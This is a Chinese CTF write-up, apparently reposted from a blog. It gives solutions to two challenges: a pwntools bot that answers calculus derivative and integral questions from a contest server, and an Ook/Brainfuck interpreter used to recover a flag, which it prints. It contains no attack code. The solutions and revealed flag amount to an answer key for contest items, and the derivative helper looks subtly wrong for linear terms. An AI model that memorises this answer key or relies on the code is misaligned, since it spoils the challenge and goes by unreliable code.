    高数大师

    要求写式子和导数双向。只涉及sin,con 和幂

    1. '''
    2. ┌──(kali㉿kali)-[~/ctf/1016]
    3. └─$ nc 124.220.8.243 11451
    4. I will give you some equations, try to find their derivatives or integrals!
    5. (d) for derivative, (i) for integral
    6. Answering one question correctly can earn 1 point, and 300 points can earn a flag!
    7. One wrong answer will end the game directly
    8. Example:
    9. 5*x**4 + 5*sin(x) - 4*cos(x) - x**2 (d)  -->   20*x**3 - 2*x + 4*sin(x) + 5*cos(x)
    10. 2*cos(x) - 3*x - x**2 - x**4 - 3*sin(x) (i)  -->  -x**5/5 - x**3/3 - 3*x**2/2 + 2*sin(x) + 3*cos(x)
    13. press enter to start
    14. >  5*x**2 - 3*x**4 (d)
    16. your answer > 10*x - 12*x**3
    17. correct!
    18. >  x (i)
    20. your answer > 1/2*x**2
    21. correct!
    22. >  2*x - 4*sin(x) - 3*x**3 + 2*x**4 (d)
    24. your answer > 
    25. '''
    26. def get_dx(fh, v):  #乘法的求导
    27.     if 'x' == v[0]: #前边有乘数
    28.         a = 1
    29.     else:
    30.         a = int(v.split('*x')[0])
    31.     if '**' in v:
    32.         b = int(v.split('**')[1])
    33.     else:
    34.         b = 1
    35.     k = a*b
    36.     e = b-1
    37.     if e == 1:
    38.         exp = ''
    39.     else:
    40.         exp = '**'+str(e)
    41.     if k == 1:
    42.         ret = fh + ' ' + 'x' + exp
    43.     else:
    44.         ret = fh + ' ' + str(k)+'*x' + exp
    45.     return ret 
    46.  
    47. def get_ix(fh, v):  #乘法的求导 逆
    48.     if 'x' == v[0]: #前边有乘数
    49.         a = 1
    50.     else:
    51.         a = int(v.split('*x')[0])
    52.     if '**' in v:
    53.         b = int(v.split('**')[1])
    54.     else:
    55.         b = 1
    56.     k = a
    57.     e = b+1
    58.     if e == 1:
    59.         exp = ''
    60.     else:
    61.         exp = '**'+str(e)
    62.     if k == 1:
    63.         ret = fh + ' ' + 'x' + exp + '/' + str(e)
    64.     else:
    65.         ret = fh + ' ' + str(k)+'*x' + exp + '/' + str(e)
    66.     return ret 
    67.  
    68.  
    69. def get_ds(fh, v):
    70.     ffh = {'+':'-','-':'+'}
    71.     if 'sin(x)' in v:
    72.         ret = fh +' '+ v.replace('sin(x)','cos(x)')
    73.     else:
    74.         ret = ffh[fh] +' '+ v.replace('cos(x)','sin(x)')
    75.     return ret 
    76.  
    77. def get_is(fh, v):
    78.     ffh = {'+':'-','-':'+'}
    79.     if 'cos(x)' in v:
    80.         ret = fh +' '+ v.replace('cos(x)','sin(x)')
    81.     else:
    82.         ret = ffh[fh] +' '+ v.replace('sin(x)','cos(x)')
    83.     return ret 
    84.  
    85. def get_d(v):
    86.     #符号
    87.     aaa = []
    88.     tmp = ''
    89.     ret = ''
    90.     for i in v:
    91.         if i == '+' or i == '-':
    92.             tmp = i
    93.             continue
    94.         
    95.         if tmp == '': tmp = '+'
    96.         if 'sin(' in i or 'cos(' in i:
    97.             val = get_ds(tmp,i)
    98.         else:
    99.             val = get_dx(tmp,i)
    100.         tmp = ''
    101.         ret += ' '+val
    102.     if ret[:3] == ' + ': ret = ret[3:]
    103.     return ret
    104.  
    105. def get_i(v):
    106.     #符号
    107.     aaa = []
    108.     tmp = ''
    109.     ret = ''
    110.     for i in v:
    111.         if i == '+' or i == '-':
    112.             tmp = i
    113.             continue
    114.         
    115.         if tmp == '': tmp = '+'
    116.         if 'sin(' in i or 'cos(' in i:
    117.             val = get_is(tmp,i)
    118.         else:
    119.             val = get_ix(tmp,i)
    120.         tmp = ''
    121.         ret += ' '+val
    122.     if ret[:3] == ' + ': ret = ret[3:]
    123.     return ret
    124.     
    125.  
    126. def getmsg(msg):
    127.     v = msg.decode().split(' ')
    128.     if v[-1] == '(d)':
    129.         r = get_d(v[:-1])
    130.     else:
    131.         r = get_i(v[:-1])
    132.     return r 
    133.  
    134. '''
    135. t = b'5*x**4 + 5*sin(x) - 4*cos(x) - x**2 (d)'
    136. t = b'2*cos(x) - 3*x - x**2 - x**4 - 3*sin(x) (i)'
    137. print(getmsg(t))
    138. '''
    139. from pwn import *
    140. context.log_level = 'debug'
    141.  
    142. p = remote('124.220.8.243', 11451)
    143. p.sendlineafter(b'press enter to start', b'')
    144.  
    145. for _ in range(300):
    146.     p.recvuntil(b'> ')
    147.     msg = p.recvline().strip()
    148.     v = getmsg(msg)
    149.     p.sendlineafter(b'>', v)
    150.  
    151. p.recvline()
    152. p.interactive()

    Miversc

    OOK是码，但是运行后没有flag，只能写程序解释，一步步dbg

    ook是变形的brainfuck，只有.!?三种符号，每两个一组组成8种符号，表示前进后退加减IO和循环。

    在输入一个字符后会作个减法如果结果为0就是正确，但不0也不会报错，这语言太差。然后一步步debug就行了

    1. msg = open('miverse.txt').read().replace('\n','').replace('\r','')
    2.  
    3. dic = {'.?':'>', '?.':'<', '..':'+', '!!':'-', '!.':'.', '.!':',', '!?':'[', '?!':']'}
    4. cmd = ''.join([ dic[msg[i:i+2]] for i in range(0, len(msg), 2) ])
    5. print(cmd)
    6.  
    7. op = [0]*1000
    8. rip = 0
    9. p = 0
    10. while p<len(cmd):
    11.     i = cmd[p]
    12.     p += 1
    13.     if i == '>':
    14.         rip+=1 
    15.     elif i == '<':
    16.         rip-=1
    17.     elif i == '+':
    18.         op[rip]+=1
    19.     elif i == '-':
    20.         op[rip]-=1 
    21.     elif i == '.':
    22.         print('==>',chr(op[rip]))
    23.     elif i == ',':
    24.         op[rip] = ord(input('---->')[0])
    25.     elif i == '[':
    26.         if op[rip] == 0:
    27.             cnt = 1
    28.             while cnt != 0:
    29.                 if cmd[p] == '[': cnt += 1
    30.                 if cmd[p] == ']': cnt -= 1
    31.                 p += 1
    32.     elif i == ']':
    33.         cnt = 1
    34.         p -= 1
    35.         while cnt!=0:
    36.             p -= 1 
    37.             if cmd[p] == ']' : cnt += 1
    38.             if cmd[p] == '[' : cnt -= 1
    39.     if p>440:
    40.         print(p,rip,op[:25])    
    41.  
    42.  
    43. #输入字符后运算应等于0
    44. #b'Just_ReLerse_OoK!'
    45.  
    46. '''
    47. ---->o
    48. 1116 3 [0, 0, 0, 111, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
    49. ...
    50. 1145 3 [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
    51. ---->k
    52. 1146 3 [0, 0, 0, 107, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
    53. ...
    54. 1173 3 [0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
    55. ---->!
    56. 1174 3 [0, 0, 0, 33, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
    57. ...
    58. 1195 3 [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
    59. '''

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  • 原文地址：https://blog.csdn.net/weixin_52640415/article/details/133966266